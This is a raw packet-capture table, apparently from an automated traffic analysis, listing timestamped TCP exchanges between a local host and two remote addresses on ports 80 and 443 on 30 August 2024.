Aug 30, 2024 06:17:04.753604889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753606081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753628969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753628969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753643036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753736019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753746986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753755093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753765106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753767967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753774881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753786087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753808022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753808022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753823042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753907919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753917933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753926039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753936052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.753964901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.753974915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754054070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754064083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754071951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754080057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754120111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754120111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754215002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754225969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754235029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754245043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754255056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754265070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754272938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754276991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754277945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754283905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754292011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754302025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754313946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754313946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754329920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754338980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754348993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754404068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754492998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754502058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754554033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754554033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754657984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754667997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754709959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754709959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754842043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754852057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754859924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754868984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754878044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754884005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754889011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754898071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754914045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754916906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754916906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754921913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754930973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754940033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754949093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754961014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.754962921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.754997969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.755028963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.796667099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.796689987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.796699047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.796730995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.796763897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.796778917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.796789885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.796798944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.796803951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.796809912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.796828032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.796849966 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797020912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797030926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797040939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797053099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797060013 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797061920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797082901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797097921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797198057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797208071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797236919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797245979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797372103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797380924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797385931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797394037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797405958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797415018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797419071 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797425032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797434092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797442913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797455072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797467947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797554970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797564030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797574043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797584057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797594070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797600031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797621965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797630072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797745943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797755957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797769070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797780037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797782898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797787905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797794104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797797918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797807932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797920942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797935963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797943115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797944069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.797960997 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.797977924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798086882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798096895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798104048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798114061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798124075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798131943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798134089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798144102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798152924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798160076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798171043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798227072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798237085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798242092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798249006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798271894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798294067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798367977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798378944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798386097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798397064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798405886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798414946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798415899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798422098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798425913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798448086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798472881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798496008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798506021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798541069 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798696995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798706055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798711061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798718929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798728943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798737049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798746109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798748016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798763990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798770905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798871994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798888922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798898935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798907042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798917055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798926115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798928022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798937082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.798949957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798958063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.798979998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799006939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799016953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799026966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799036980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799037933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799050093 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799072981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799247980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799257994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799263000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799273014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799288988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799299002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799325943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799376965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799387932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799396038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799406052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799416065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799427032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799444914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799458027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799520016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799529076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799539089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799547911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799559116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799559116 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799566984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799575090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799597025 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799700022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799710035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799714088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799721956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799726963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799736977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799746037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799750090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799771070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799787045 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799870968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799880028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799890041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799906969 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799935102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799942017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799952030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799962044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799972057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799981117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.799983025 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.799992085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800004005 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800031900 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800215006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800225019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800232887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800242901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800251007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800252914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800263882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800272942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800273895 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800282001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800290108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800329924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800329924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800354958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800364971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800376892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800385952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.800396919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800420046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.800939083 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801002026 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.801012039 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801045895 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.801456928 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801471949 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801512957 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.801520109 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801528931 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.801656961 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.801820040 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801836967 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801866055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801872969 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.801877975 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.801887035 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.801912069 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.802108049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.802120924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.802129030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.802140951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.802155018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.802171946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.802181959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.802453995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.802464008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.802473068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.802483082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.802493095 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.802509069 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.802525043 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.802526951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.802565098 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.802572012 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.802587032 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.802612066 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.802634954 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.802680969 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.802985907 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.802999020 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803035021 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803040981 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803072929 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803180933 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803205967 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803206921 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803220034 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803227901 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803275108 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803519964 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803554058 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803576946 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803580999 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803587914 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803652048 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803705931 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803713083 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803766966 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.803937912 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803951979 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.803997040 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.804003954 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.804039001 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.804056883 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.806591988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.806607008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.806617022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.806627035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.806636095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.806644917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.806644917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.806653976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.806660891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.806662083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.806701899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.806715012 CEST	49733	80	192.168.2.4	147.45.44.104
